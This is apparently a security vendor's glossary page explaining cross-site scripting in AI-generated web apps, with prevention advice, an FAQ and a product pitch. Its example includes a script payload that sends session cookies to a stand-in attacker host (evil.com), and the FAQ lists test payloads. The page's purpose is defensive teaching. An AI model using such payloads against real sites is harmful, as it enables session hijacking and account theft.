What Is XSS (Cross-Site Scripting)?

Cross-Site Scripting (XSS) : A web security vulnerability that allows attackers to inject malicious client-side scripts into web pages viewed by other users. XSS occurs when an application includes untrusted data in its output without proper validation or encoding.

Why It Matters for AI-Coded Apps

AI code generators frequently output raw user input into HTML without encoding. In our research scanning 1,000 vibe-coded apps, XSS was present in 61% of applications. LLMs tend to use innerHTML and dangerouslySetInnerHTML without sanitization.

Real-World Example

A search page renders user input directly: document.getElementById('results').innerHTML = 'Results for: ' + userQuery. An attacker submits <script>document.location='https://evil.com/?c='+document.cookie</script> as the search query, stealing session cookies from every user who views the page.

How to Detect and Prevent It

Use framework-native output encoding (React’s JSX auto-escapes by default). Never use innerHTML or v-html with user data. Implement Content-Security-Policy headers. Validate and sanitize all inputs server-side with libraries like DOMPurify for any HTML that must be rendered.

Frequently Asked Questions

What are the three types of XSS?

Reflected XSS (payload in the URL), Stored XSS (payload saved in the database), and DOM-based XSS (payload manipulates the client-side DOM). Stored XSS is the most dangerous because it affects every user who views the compromised page.

Does React prevent XSS automatically?

React’s JSX escapes values by default, which prevents most XSS. However, using dangerouslySetInnerHTML, href={'javascript:...'}, or passing unsanitized data to eval() can still introduce XSS vulnerabilities.

How do I test for XSS in my app?

Use automated scanners like OWASP ZAP or Burp Suite. Manually test by injecting payloads like <script>alert(1)</script> and '"><img src=x onerror=alert(1)> into every input field, URL parameter, and header your app processes.

Scan your app for security issues automatically

Vibe Eval checks for 200+ vulnerabilities in AI-generated code.

Try Vibe Eval

AI Coding Security Insights.
Ship Vibe-Coded Apps Safely.

Effortlessly test and evaluate web application security using Vibe Eval agents.